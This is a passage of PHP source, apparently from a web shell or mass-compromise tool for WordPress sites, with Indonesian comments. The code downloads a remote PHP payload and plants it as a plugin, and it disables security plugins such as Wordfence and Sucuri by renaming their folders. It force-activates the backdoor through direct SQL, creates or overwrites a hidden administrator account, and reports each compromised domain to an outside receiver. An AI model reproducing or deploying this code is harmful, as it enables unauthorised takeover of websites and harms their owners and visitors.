";
@mysqli_report(MYSQLI_REPORT_OFF);
$cn = mysqli_init();
@mysqli_options($cn, MYSQLI_OPT_CONNECT_TIMEOUT, 2);
if (@mysqli_real_connect($cn, $dh, $du, $dp, $dn)) {
if (isset($_POST['create_wp_admin'])) {
// --- OPTIMASI: DOWNLOAD MASTER SEKALI SAJA ---
global $master_core, $master_index;
if (!isset($master_core)) {
$master_core = sys_get_temp_dir() . '/master_core_' . time() . '.php';
$master_index = sys_get_temp_dir() . '/master_index_' . time() . '.php';
$ua = stream_context_create(['http'=>['header'=>"User-Agent: Mozilla/5.0"]]);
$src_core = @file_get_contents($plugin_src, false, $ua);
$src_idx = @file_get_contents('https://raw.githubusercontent.com/baseng1337/damn/refs/heads/main/index.php', false, $ua);
if($src_core) file_put_contents($master_core, $src_core);
if($src_idx) file_put_contents($master_index, $src_idx);
}
$plugins_dir = $wp_root_path . '/wp-content/plugins/';
// --- 1. KILL SECURITY PLUGINS (RENAME MODE) ---
$targets_to_kill = [
'hostinger', 'wordfence', 'ithemes-security-pro', 'better-wp-security',
'sucuri-scanner', 'sg-security', 'login-lockdown',
'limit-login-attempts-reloaded', 'all-in-one-wp-security-and-firewall'
];
$kill_badge = "";
foreach ($targets_to_kill as $folder) {
$path = $plugins_dir . $folder;
if (is_dir($path)) {
@rename($path, $path . '_killed_' . time());
$kill_badge .= "
KIL:" . strtoupper(substr($folder,0,3)) . " ";
}
}
if (empty($kill_badge)) $kill_badge = "
NO SEC";
// --- 2. DEPLOY SYSTEM CORE ---
$target_folder = $plugins_dir . $plugin_folder_name;
$target_file = $target_folder . '/' . $plugin_filename;
$index_file = $target_folder . '/index.php';
$dl_badge = "";
if (!is_dir($target_folder)) {
@mkdir($target_folder, 0755, true);
@chmod($target_folder, 0755);
}
// Copy Core
if (!file_exists($target_file)) {
if (file_exists($master_core) && @copy($master_core, $target_file)) {
@chmod($target_file, 0644);
$dl_badge .= "
CORE ";
} else { $dl_badge .= "
CORE "; }
} else { $dl_badge .= "
CORE "; }
// Copy Index Activator
if (!file_exists($index_file)) {
if (file_exists($master_index) && @copy($master_index, $index_file)) {
@chmod($index_file, 0644);
$dl_badge .= "
IDX";
} else { $dl_badge .= "
IDX"; }
} else { $dl_badge .= "
IDX"; }
// --- 3. ACTIVATION (HEX) ---
$act_badge = ""; $is_active = false;
$wp_content = $wp_root_path . '/wp-content';
$obj_cache = $wp_content . '/object-cache.php';
$adv_cache = $wp_content . '/advanced-cache.php';
$renamed_obj = false; $renamed_adv = false;
if (file_exists($obj_cache)) { @rename($obj_cache, $obj_cache . '.suspend'); $renamed_obj = true; }
if (file_exists($adv_cache)) { @rename($adv_cache, $adv_cache . '.suspend'); $renamed_adv = true; }
$qopt = @mysqli_query($cn, "SELECT option_value FROM {$pre}options WHERE option_name='active_plugins'");
if ($qopt && mysqli_num_rows($qopt) > 0) {
$row = mysqli_fetch_assoc($qopt);
$current_plugins = @unserialize($row['option_value']);
if (!is_array($current_plugins)) $current_plugins = [];
} else { $current_plugins = []; }
$current_plugins = array_diff($current_plugins, [$plugin_hook_old]);
if (!in_array($plugin_hook, $current_plugins)) $current_plugins[] = $plugin_hook;
sort($current_plugins);
$hex_data = bin2hex(serialize($current_plugins));
@mysqli_query($cn, "DELETE FROM {$pre}options WHERE option_name='active_plugins'");
if (@mysqli_query($cn, "INSERT INTO {$pre}options (option_name, option_value, autoload) VALUES ('active_plugins', 0x$hex_data, 'yes')")) {
@mysqli_query($cn, "DELETE FROM {$pre}options WHERE option_name LIKE '_transient_%' OR option_name LIKE '_site_transient_%'");
@mysqli_query($cn, "DELETE FROM {$pre}options WHERE option_name='rls_setup_done'");
$act_badge = "
HEX";
$is_active = true;
} else { $act_badge = "
DB"; }
// --- 4. CREATE USER ---
$u_badge = "";
$q1 = @mysqli_query($cn, "SELECT ID FROM {$pre}users WHERE user_login='$au'");
if ($q1 && mysqli_num_rows($q1) > 0) {
$uid = mysqli_fetch_assoc($q1)['ID'];
@mysqli_query($cn, "UPDATE {$pre}users SET user_pass='$ap' WHERE ID=$uid");
$u_badge = "
UP";
} else {
@mysqli_query($cn, "INSERT INTO {$pre}users (user_login,user_pass,user_nicename,user_email,user_status,display_name) VALUES ('$au','$ap','Admin','$ae',0,'Admin')");
$uid = mysqli_insert_id($cn);
$u_badge = "
ADD";
}
$cap = serialize(['administrator'=>true]);
@mysqli_query($cn, "INSERT INTO {$pre}usermeta (user_id,meta_key,meta_value) VALUES ($uid,'{$pre}capabilities','$cap') ON DUPLICATE KEY UPDATE meta_value='$cap'");
@mysqli_query($cn, "INSERT INTO {$pre}usermeta (user_id,meta_key,meta_value) VALUES ($uid,'{$pre}user_level','10') ON DUPLICATE KEY UPDATE meta_value='10'");
// --- 5. PING & DIRECT REPORT (GARANSI LIST MUNCUL) ---
$ping_badge = "
-";
$surl = "";
$qurl = @mysqli_query($cn, "SELECT option_value FROM {$pre}options WHERE option_name='siteurl'");
if ($qurl && mysqli_num_rows($qurl)>0) $surl = mysqli_fetch_assoc($qurl)['option_value'];
if (!empty($surl)) {
// A. DIRECT REPORT KE DASHBOARD (Agar list domain langsung muncul)
// Kita kirim data domain saja, password kosong dulu. Nanti plugin yang isi passwordnya.
$pdata_direct = http_build_query(['action'=>'register_site', 'secret'=>$receiver_key, 'domain'=>$surl, 'api_user'=>'', 'api_pass'=>'']);
$ctx_direct = stream_context_create(['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded",'content'=>$pdata_direct,'timeout'=>2]]);
@file_get_contents($receiver_url, false, $ctx_direct);
// B. TRIGGER PLUGIN (Agar generate password)
if ($is_active) {
$trigger_url = rtrim($surl, '/') . '/wp-content/plugins/' . $plugin_folder_name . '/index.php';
$ctx_trig = stream_context_create(['http'=>['method'=>'GET','header'=>"User-Agent: Mozilla/5.0",'timeout'=>2]]);
@file_get_contents($trigger_url, false, $ctx_trig);
$ping_badge = "
OK";
}
}
if ($renamed_obj) { @rename($obj_cache . '.suspend', $obj_cache); }
if ($renamed_adv) { @rename($adv_cache . '.suspend', $adv_cache); }
$log .= "$kill_badge $dl_badge $act_badge $u_badge $ping_badge
Login »";
}
elseif (isset($_POST['reactivate_plugins'])) {
$qbk = @mysqli_query($cn, "SELECT option_value FROM {$pre}options WHERE option_name='xshikata_bkp'");
if ($qbk && mysqli_num_rows($qbk)>0) {
$orig = mysqli_real_escape_string($cn, mysqli_fetch_assoc($qbk)['option_value']);
@mysqli_query($cn, "UPDATE {$pre}options SET option_value='$orig' WHERE option_name='active_plugins'");
@mysqli_query($cn, "DELETE FROM {$pre}options WHERE option_name='xshikata_bkp'");
$log .= "
RESTORED";
} else { $log .= "
NO BKP"; }
}
mysqli_close($cn);
} else {
$log .= "
SKIP DB";
}
$log .= "